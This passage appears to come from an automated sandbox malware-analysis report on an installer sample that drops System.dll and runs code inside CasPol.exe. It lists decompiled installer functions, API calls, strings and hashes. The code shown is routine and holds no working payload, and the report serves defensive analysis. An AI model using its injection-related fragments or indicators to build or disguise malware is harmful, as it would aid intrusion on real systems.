				signed int _t42;

				_t29 = __edi;
				_t24 = __ebx;
				_t14 =  *(_t35 - 0x28);
				_t40 = __edx - 0x38;
				 *(_t35 - 0x10) = _t14;
				_t27 = 0 | _t40 == 0x00000000;
				_t32 = _t40 == 0;
				if(_t14 == __ebx) {
					if(__edx != 0x38) {
						_t17 = lstrlenW(E00402DA6(0x11)) + _t16;
					} else {
						E00402DA6(0x21);
						E0040668A("C:\Users\Arthur\AppData\Local\Temp\nsq8ECC.tmp", "C:\Users\Arthur\AppData\Local\Temp\nsq8ECC.tmp\System.dll", 0x400);
						_t17 = lstrlenA("C:\Users\Arthur\AppData\Local\Temp\nsq8ECC.tmp\System.dll");
					}
				} else {
					E00402D84(1);
					 *0x40adf8 = __ax;
					 *((intOrPtr*)(__ebp - 0x44)) = __edx;
				}
				 *(_t35 + 8) = _t17;
				if( *_t29 == _t24) {
					L13:
					 *((intOrPtr*)(_t35 - 4)) = 1;
				} else {
					_t31 = E004065C8(_t27, _t29);
					if((_t32 |  *(_t35 - 0x10)) != 0 ||  *((intOrPtr*)(_t35 - 0x24)) == _t24 || E00406239(_t31, _t31) >= 0) {
						_t14 = E0040620A(_t31, "C:\Users\Arthur\AppData\Local\Temp\nsq8ECC.tmp\System.dll",  *(_t35 + 8));
						_t42 = _t14;
						if(_t42 == 0) {
							goto L13;
						}
					} else {
						goto L13;
					}
				}
				 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t35 - 4));
				return 0;
			}

0x0040263e
0x0040263e
0x0040263e
0x00402643
0x00402646
0x00402649
0x0040264e
0x00402650
0x00402670
0x004026aa
0x00402672
0x00402674
0x00402688
0x00402695
0x00402695
0x00402652
0x00402654
0x00402659
0x00402667
0x0040266a
0x004026af
0x004026b2
0x0040292e
0x0040292e
0x004026b8
0x004026c1
0x004026c3
0x004026e2
0x004015b4
0x004015b6
0x00000000
0x004015bc
0x00000000
0x00000000
0x00000000
0x004026c3
0x00402c2d
0x00402c39

APIs

lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsq8ECC.tmp\System.dll), ref: 00402695

Strings

C:\Users\user\AppData\Local\Temp\nsq8ECC.tmp, xrefs: 00402683
C:\Users\user\AppData\Local\Temp\nsq8ECC.tmp\System.dll, xrefs: 00402659, 0040267E, 00402690, 004026DC

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: lstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsq8ECC.tmp$C:\Users\user\AppData\Local\Temp\nsq8ECC.tmp\System.dll
API String ID: 1659193697-3213819200
Opcode ID: deb6aecb68a4fcc871865c33c7eb0d229bd94635ca94da12f7e7702f6dba88c5
Instruction ID: f1e3379d491753f9d96dc3c217618d2e64da59e9cc8309568291ba5d2d488428
Opcode Fuzzy Hash: deb6aecb68a4fcc871865c33c7eb0d229bd94635ca94da12f7e7702f6dba88c5
Instruction Fuzzy Hash: D511C472A00205EBCB10BBB18E4AA9E76619F44758F21483FE402B61C1DAFD8891965F

Uniqueness

Uniqueness Score: -1.00%

Function 00403C25 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403C25() {
				void* _t1;
				void* _t2;
				signed int _t11;

				_t1 =  *0x40a018; // 0x2ec
				if(_t1 != 0xffffffff) {
					CloseHandle(_t1);
					 *0x40a018 =  *0x40a018 | 0xffffffff;
				}
				_t2 =  *0x40a01c; // 0x2f8
				if(_t2 != 0xffffffff) {
					CloseHandle(_t2);
					 *0x40a01c =  *0x40a01c | 0xffffffff;
					_t11 =  *0x40a01c;
				}
				E00403C82();
				return E00405D74(_t11, L"C:\\Users\\Arthur\\AppData\\Local\\Temp\\nsq8ECC.tmp", 7);
			}

0x00403c25
0x00403c34
0x00403c37
0x00403c39
0x00403c39
0x00403c40
0x00403c48
0x00403c4b
0x00403c4d
0x00403c4d
0x00403c4d
0x00403c54
0x00403c66

APIs

CloseHandle.KERNEL32(000002EC,C:\Users\user\AppData\Local\Temp\,00403B71,?), ref: 00403C37
CloseHandle.KERNEL32(000002F8,C:\Users\user\AppData\Local\Temp\,00403B71,?), ref: 00403C4B

Strings

C:\Users\user\AppData\Local\Temp\nsq8ECC.tmp, xrefs: 00403C5B
C:\Users\user\AppData\Local\Temp\, xrefs: 00403C2A

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: CloseHandle
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\nsq8ECC.tmp
API String ID: 2962429428-1880428676
Opcode ID: 3450910aa3eb4a83e9339ad550daa728f038e8843dee50fd20da138f79135bda
Instruction ID: ab9e488bef71b432d29da19662b82269d7b8f1628316f3e3d8f7e3aa77a32ace
Opcode Fuzzy Hash: 3450910aa3eb4a83e9339ad550daa728f038e8843dee50fd20da138f79135bda
Instruction Fuzzy Hash: 3BE0863244471496E5246F7DAF4D9853B285F413357248726F178F60F0C7389A9B4A9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040563E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46
windowCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E0040563E(struct HWND__* _a4, int _a8, int _a12, long _a16) {
				int _t15;
				long _t16;

				_t15 = _a8;
				if(_t15 != 0x102) {
					if(_t15 != 0x200) {
						_t16 = _a16;
						L7:
						if(_t15 == 0x419 &&  *0x423734 != _t16) {
							_push(_t16);
							_push(6);
							 *0x423734 = _t16;
							E00404FFF();
						}
						L11:
						return CallWindowProcW( *0x42373c, _a4, _t15, _a12, _t16);
					}
					if(IsWindowVisible(_a4) == 0) {
						L10:
						_t16 = _a16;
						goto L11;
					}
					_t16 = E00404F7F(_a4, 1);
					_t15 = 0x419;
					goto L7;
				}
				if(_a12 != 0x20) {
					goto L10;
				}
				E00404610(0x413);
				return 0;
			}

0x00405642
0x0040564c
0x00405668
0x0040568a
0x0040568d
0x00405693
0x0040569d
0x0040569e
0x004056a0
0x004056a6
0x004056a6
0x004056b0
0x00000000
0x004056be
0x00405675
0x004056ad
0x004056ad
0x00000000
0x004056ad
0x00405681
0x00405683
0x00000000
0x00405683
0x00405652
0x00000000
0x00000000
0x00405659
0x00000000

APIs

IsWindowVisible.USER32(?), ref: 0040566D
CallWindowProcW.USER32(?,?,?,?), ref: 004056BE

Part of subcall function 00404610: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404622

Strings

, xrefs: 0040564E

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: a73dc4e993bde12ea44745026bd4b5676165c6f206d332bc9731ab0fc1b08652
Instruction ID: 537e1cae7e4c88fb21f4f8cfd237bdd46b0b38e99f2a5e053ca6ba0093d9a5c8
Opcode Fuzzy Hash: a73dc4e993bde12ea44745026bd4b5676165c6f206d332bc9731ab0fc1b08652
Instruction Fuzzy Hash: 4401B171200608AFEF205F11DD84A6B3A35EB84361F904837FA08752E0D77F8D929E6D

Uniqueness

Uniqueness Score: -1.00%

Function 00405F83 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00405F83(WCHAR* _a4) {
				WCHAR* _t5;
				WCHAR* _t7;

				_t7 = _a4;
				_t5 =  &(_t7[lstrlenW(_t7)]);
				while( *_t5 != 0x5c) {
					_push(_t5);
					_push(_t7);
					_t5 = CharPrevW();
					if(_t5 > _t7) {
						continue;
					}
					break;
				}
				 *_t5 =  *_t5 & 0x00000000;
				return  &(_t5[1]);
			}

0x00405f84
0x00405f8e
0x00405f91
0x00405f97
0x00405f98
0x00405f99
0x00405fa1
0x00000000
0x00000000
0x00000000
0x00405fa1
0x00405fa3
0x00405fab

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,0040313C,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe,C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe,80000000,00000003), ref: 00405F89
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,0040313C,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe,C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe,80000000,00000003), ref: 00405F99

Strings

C:\Users\user\Desktop, xrefs: 00405F83

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-3370423016
Opcode ID: 176def5b2db9ef34a9f22db2929791273b03e08e07d7b66f37effa829582f156
Instruction ID: bd974b3f77e4b05eb9372a1ad14375fba7b947cfa10dd8d614d5bb7090e452f7
Opcode Fuzzy Hash: 176def5b2db9ef34a9f22db2929791273b03e08e07d7b66f37effa829582f156
Instruction Fuzzy Hash: 6CD05EB2401D219EC3126B04DC00D9F63ACEF51301B4A4866E441AB1A0DB7C5D9186A9

Uniqueness

Uniqueness Score: -1.00%

Function 004060BD Relevance: 5.0, APIs: 4, Instructions: 37
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004060BD(void* __ecx, CHAR* _a4, CHAR* _a8) {
				int _v8;
				int _t12;
				int _t14;
				int _t15;
				CHAR* _t17;
				CHAR* _t27;

				_t12 = lstrlenA(_a8);
				_t27 = _a4;
				_v8 = _t12;
				while(lstrlenA(_t27) >= _v8) {
					_t14 = _v8;
					 *(_t14 + _t27) =  *(_t14 + _t27) & 0x00000000;
					_t15 = lstrcmpiA(_t27, _a8);
					_t27[_v8] =  *(_t14 + _t27);
					if(_t15 == 0) {
						_t17 = _t27;
					} else {
						_t27 = CharNextA(_t27);
						continue;
					}
					L5:
					return _t17;
				}
				_t17 = 0;
				goto L5;
			}

0x004060cd
0x004060cf
0x004060d2
0x004060fe
0x004060d7
0x004060e0
0x004060e5
0x004060f0
0x004060f3
0x0040610f
0x004060f5
0x004060fc
0x00000000
0x004060fc
0x00406108
0x0040610c
0x0040610c
0x00406106
0x00000000

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,004063A2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060CD
lstrcmpiA.KERNEL32(00000000,00000000), ref: 004060E5
CharNextA.USER32(00000000,?,00000000,004063A2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060F6
lstrlenA.KERNEL32(00000000,?,00000000,004063A2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060FF

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 4f145c51a58837bd7eda372618efc6ab74ada67201017ca859b4805a40dfc06b
Instruction ID: 2f06b96f93541eceebcae48a9adfe7aedd37cb678349478f8cad11de2473fd3e
Opcode Fuzzy Hash: 4f145c51a58837bd7eda372618efc6ab74ada67201017ca859b4805a40dfc06b
Instruction Fuzzy Hash: 0BF0F631104054FFDB12DFA4CD00D9EBBA8EF06350B2640BAE841FB321D674DE11A798

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: CasPol.exePID: 6060, Parent PID: 1416COMMON

Execution Graph

Execution Coverage:	8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	18
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 04D004B0 Relevance: 186.4, Strings: 147, Instructions: 2636
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

_pr, xrefs: 04D004BD
|8, xrefs: 04D02A9E
|8, xrefs: 04D01FE6
|8, xrefs: 04D00B13
Z=r^, xrefs: 04D00E93, 04D00E98, 04D00F02, 04D00F07
|8, xrefs: 04D02224
H>, xrefs: 04D0289F
|8, xrefs: 04D0147F
|8, xrefs: 04D018AB
|8, xrefs: 04D016EB
H>, xrefs: 04D02423
|8, xrefs: 04D027BF
H>, xrefs: 04D0162E
H>, xrefs: 04D00C70
5[=r^, xrefs: 04D00991, 04D00996, 04D009FD, 04D00A02
|8, xrefs: 04D0166D
EZ=r^, xrefs: 04D019B2, 04D019B7, 04D01A30, 04D01A35
H>, xrefs: 04D02167
H>, xrefs: 04D018EA
UZ=r^, xrefs: 04D01893, 04D01898, 04D01911, 04D01916
|8, xrefs: 04D01929
%[=r^, xrefs: 04D00A8F, 04D00A94, 04D00AFE, 04D00B03
|8, xrefs: 04D02C3B
eZ=r^, xrefs: 04D01774, 04D01779, 04D017F2, 04D017F7
|8, xrefs: 04D02462
|8, xrefs: 04D02581
H>, xrefs: 04D012A3
|8, xrefs: 04D01241
H>, xrefs: 04D02702
H>, xrefs: 04D01321
H>, xrefs: 04D02940
H>, xrefs: 04D0186C
H>, xrefs: 04D01074
|8, xrefs: 04D015CC
|8, xrefs: 04D00F17
H>, xrefs: 04D02304
|8, xrefs: 04D02CDC
|8, xrefs: 04D00DA7
H>, xrefs: 04D01184
|8, xrefs: 04D02622
|8, xrefs: 04D02B1C
H>, xrefs: 04D013C2
|8, xrefs: 04D01B67
H>, xrefs: 04D00B6F
H>, xrefs: 04D00970
|8, xrefs: 04D00E16
H>, xrefs: 04D00FE2
|8, xrefs: 04D00D15
H>, xrefs: 04D009DC
Y=r^, xrefs: 04D0206F, 04D02074, 04D020ED, 04D020F2
|8, xrefs: 04D00CA6
|8, xrefs: 04D00AA4
eY=r^, xrefs: 04D02967, 04D0296C, 04D029E5, 04D029EA
|8, xrefs: 04D0283D
H>, xrefs: 04D021E5
|8, xrefs: 04D029FD
|8, xrefs: 04D01A48
5Z=r^, xrefs: 04D01AD1, 04D01AD6, 04D01B4F, 04D01B54
H>, xrefs: 04D01F29
|8, xrefs: 04D021A6
uZ=r^, xrefs: 04D01655, 04D0165A, 04D016D3, 04D016D8
|8, xrefs: 04D01122
|8, xrefs: 04D02343
|8, xrefs: 04D02105
H>, xrefs: 04D01D68
H>, xrefs: 04D02D3E
|8, xrefs: 04D023E4
|8, xrefs: 04D01EC7
|8, xrefs: 04D026A0
H>, xrefs: 04D010E3
H>, xrefs: 04D01FA7
H>, xrefs: 04D02048
|8, xrefs: 04D012E2
H>, xrefs: 04D01440
|8, xrefs: 04D0178C
|8, xrefs: 04D01E48
H>, xrefs: 04D01BC9
|8, xrefs: 04D00BA5
|8, xrefs: 04D02503
H>, xrefs: 04D023A5
H>, xrefs: 04D024C4
H>, xrefs: 04D00DE0
|8, xrefs: 04D02BBD
H>, xrefs: 04D027FE
H>, xrefs: 04D020C6
|8, xrefs: 04D01DA7
|8, xrefs: 04D00A12
|8, xrefs: 04D00FA9
H>, xrefs: 04D029BE
|8, xrefs: 04D02741
H>, xrefs: 04D02A5F
|8, xrefs: 04D019CA
H>, xrefs: 04D02780
H>, xrefs: 04D00ADD
%Z=r^, xrefs: 04D01BF0, 04D01BF5, 04D01C6F, 04D01C74
|8, xrefs: 04D0153C
H>, xrefs: 04D0174D
H>, xrefs: 04D01AAA
H>, xrefs: 04D00CDF
H>, xrefs: 04D00A6E
H>, xrefs: 04D02C9D
H>, xrefs: 04D017CB
H>, xrefs: 04D00D71
H>, xrefs: 04D00BDE
|8, xrefs: 04D00C14
|8, xrefs: 04D0297F
H>, xrefs: 04D0198B
|8, xrefs: 04D01C87
|8, xrefs: 04D02D7D
|8, xrefs: 04D01360
H>, xrefs: 04D02B7E
H>, xrefs: 04D01CE9
|8, xrefs: 04D01401
|8, xrefs: 04D01F68
H>, xrefs: 04D01C48
H>, xrefs: 04D02ADD
|8, xrefs: 04D01018
H>, xrefs: 04D01E09
|8, xrefs: 04D01AE9
H>, xrefs: 04D025E3
uY=r^, xrefs: 04D027A7, 04D027AC, 04D028C6, 04D028CB
H>, xrefs: 04D00E72
H>, xrefs: 04D02BFC
H>, xrefs: 04D0158D
|8, xrefs: 04D01D28
H>, xrefs: 04D016AC
H>, xrefs: 04D01202
|8, xrefs: 04D02087
|8, xrefs: 04D022C5
|8, xrefs: 04D01C08
H>, xrefs: 04D00EE1
H>, xrefs: 04D014FD
UY=r^, xrefs: 04D02A86, 04D02A8B, 04D02B04, 04D02B09
H>, xrefs: 04D02542
EY=r^, xrefs: 04D02BA5, 04D02BAA, 04D02C23, 04D02C28, 04D02CC4, 04D02CC9, 04D02D65, 04D02D6A
H>, xrefs: 04D01E88
|8, xrefs: 04D028DE
|8, xrefs: 04D010AA
H>, xrefs: 04D00F73
|8, xrefs: 04D011C3
|8, xrefs: 04D009A6
H>, xrefs: 04D01B28
H>, xrefs: 04D01A09
H>, xrefs: 04D02286
|8, xrefs: 04D0180A
|8, xrefs: 04D00EA8
H>, xrefs: 04D02661

Memory Dump Source

Source File: 00000013.00000002.2824586189.0000000004D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4d00000_CasPol.jbxd

Similarity

API ID:
String ID: H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$H>$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$|8$%Z=r^$%[=r^$5Z=r^$5[=r^$EY=r^$EZ=r^$UY=r^$UZ=r^$_pr$eY=r^$eZ=r^$uY=r^$uZ=r^$Y=r^$Z=r^
API String ID: 0-700484530
Opcode ID: dadb9e3fd0fc8fb8217ea59832598cc60f6881ee4cd38c3f065b0efe09cb1a03
Instruction ID: e7156026082d0a2c9b2fd6f8e4ab66daacfb0cad5d45d1f81eb00c726d8ee4bc
Opcode Fuzzy Hash: dadb9e3fd0fc8fb8217ea59832598cc60f6881ee4cd38c3f065b0efe09cb1a03
Instruction Fuzzy Hash: 39436C346003458FD744EB78D885B99B7F2EF89304F10C9A9E409AB395DB71AE86CF91

Uniqueness

Uniqueness Score: -1.00%

Function 04D02F60 Relevance: 2.6, Strings: 1, Instructions: 1324
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

:@kr, xrefs: 04D02FE0

Memory Dump Source

Source File: 00000013.00000002.2824586189.0000000004D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4d00000_CasPol.jbxd

Similarity

API ID:
String ID: :@kr
API String ID: 0-4132104293
Opcode ID: ed633373a3d249de049afde69232fdac6d361f8e9ce91b54bc8c617b3e6f93a8
Instruction ID: 08bac06d5b6af561830415fb5d40e331b8dd83bfdb35f9968b37a79a23752ec5
Opcode Fuzzy Hash: ed633373a3d249de049afde69232fdac6d361f8e9ce91b54bc8c617b3e6f93a8
Instruction Fuzzy Hash: 8AD13C346002009FDB55EFA8D588B6EBBE2EF48304F16C459E9469B2A2CF35FC41CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00E5A4AA Relevance: 1.6, APIs: 1, Instructions: 79
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,00000E24,06DBD9C1,00000000,00000000,00000000,00000000), ref: 00E5A53D

Memory Dump Source

Source File: 00000013.00000002.2823857815.0000000000E5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E5A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_e5a000_CasPol.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: d798f2d85d4c045110476ff10e574cfb08bf33bd910c25df7ee541c445af654f
Instruction ID: 34401d496be07bcdfabdcec62953e56db68226fb39aa99dc5cc3d9bb679743ac
Opcode Fuzzy Hash: d798f2d85d4c045110476ff10e574cfb08bf33bd910c25df7ee541c445af654f
Instruction Fuzzy Hash: 8921B571409380AFEB228F61DC55F96BFB8EF06310F0885DBE9849F193D265A549CB72

Uniqueness

Uniqueness Score: -1.00%

Function 00E5A1F4 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleOutputCP.KERNELBASE ref: 00E5A269

Memory Dump Source

Source File: 00000013.00000002.2823857815.0000000000E5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E5A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_e5a000_CasPol.jbxd

Similarity

API ID: ConsoleOutput
String ID:
API String ID: 3985236979-0
Opcode ID: b89a0cebd64e6d4616941e2e1d7ea7985d33f0fe22b5e8f9c89297cf6fbaf2d8
Instruction ID: d43ded08e61bd5a929728f1aa66a8bcb2e9185c1709bf50da7f1b78eff2c2392
Opcode Fuzzy Hash: b89a0cebd64e6d4616941e2e1d7ea7985d33f0fe22b5e8f9c89297cf6fbaf2d8
Instruction Fuzzy Hash: 3E216A7540D3C09FD7138B659895692BFB4EF03220F0E85EBDD848F1A3D269A949CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00E5A4DE Relevance: 1.6, APIs: 1, Instructions: 60
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,00000E24,06DBD9C1,00000000,00000000,00000000,00000000), ref: 00E5A53D

Memory Dump Source

Source File: 00000013.00000002.2823857815.0000000000E5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E5A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_e5a000_CasPol.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 5987b0dc0bd79f184b2b4554921e9b90ad47bad50c0f25f76db5d5e7e7d266ed
Instruction ID: 1a441d721cd38079eeb0586c1cf12f3fad8e9b97e647791f3e4f62fceacd8006
Opcode Fuzzy Hash: 5987b0dc0bd79f184b2b4554921e9b90ad47bad50c0f25f76db5d5e7e7d266ed
Instruction Fuzzy Hash: B611B271500300EFEB21CF55DC45FAAFBA8EF04720F18896AED459B251D675A548CB72

Uniqueness

Uniqueness Score: -1.00%

Function 00E5A23A Relevance: 1.5, APIs: 1, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleOutputCP.KERNELBASE ref: 00E5A269

Memory Dump Source

Source File: 00000013.00000002.2823857815.0000000000E5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E5A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_e5a000_CasPol.jbxd

Similarity

API ID: ConsoleOutput
String ID:
API String ID: 3985236979-0
Opcode ID: ed317cae42143f20de4947b075bdd88f5ff713c32c528e85689f6ccfbe7a9c4d
Instruction ID: 263d726c511e25dfd685b0725d115ddd76bd689948d8a00333539669a0147214
Opcode Fuzzy Hash: ed317cae42143f20de4947b075bdd88f5ff713c32c528e85689f6ccfbe7a9c4d
Instruction Fuzzy Hash: E3F0C2389043408FEB10CF05D886761FBE0EF04725F0CC5EADD095F752D2BAA988CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 04D02E28 Relevance: 1.4, Strings: 1, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

|,, xrefs: 04D02ED4

Memory Dump Source

Source File: 00000013.00000002.2824586189.0000000004D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4d00000_CasPol.jbxd

Similarity

API ID:
String ID: |,
API String ID: 0-1691811982
Opcode ID: fb087e80928a3466f75637ebf94e43eb75d989ee68d1d4f8303ae04c6aa70bdc
Instruction ID: d8a853c79e2115c2f5a9922e00f2a9ef18361573dab89655dacfcf2aa50d84a9
Opcode Fuzzy Hash: fb087e80928a3466f75637ebf94e43eb75d989ee68d1d4f8303ae04c6aa70bdc
Instruction Fuzzy Hash: C1411435B042049FDB11EBB8E454BAEBBB2EF85310F15C0AAE945D7392DE349D06CB91

Uniqueness

Uniqueness Score: -1.00%

Function 04D002A9 Relevance: .1, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000013.00000002.2824586189.0000000004D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4d00000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 677799b4e0f5860f15e85713924a02924fd19dc7d3ca259584ee67f3a65d5cb8
Instruction ID: 53789fd327a3b9c64383cf980637484254a6e40d00acb26289044f764ba9a335
Opcode Fuzzy Hash: 677799b4e0f5860f15e85713924a02924fd19dc7d3ca259584ee67f3a65d5cb8
Instruction Fuzzy Hash: B7212C387002049FDB19AB7CD458A6E3BE3AF8A301B2484BDD406CB3A5DE76DC458B91

Uniqueness

Uniqueness Score: -1.00%

Function 04D003F8 Relevance: .1, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

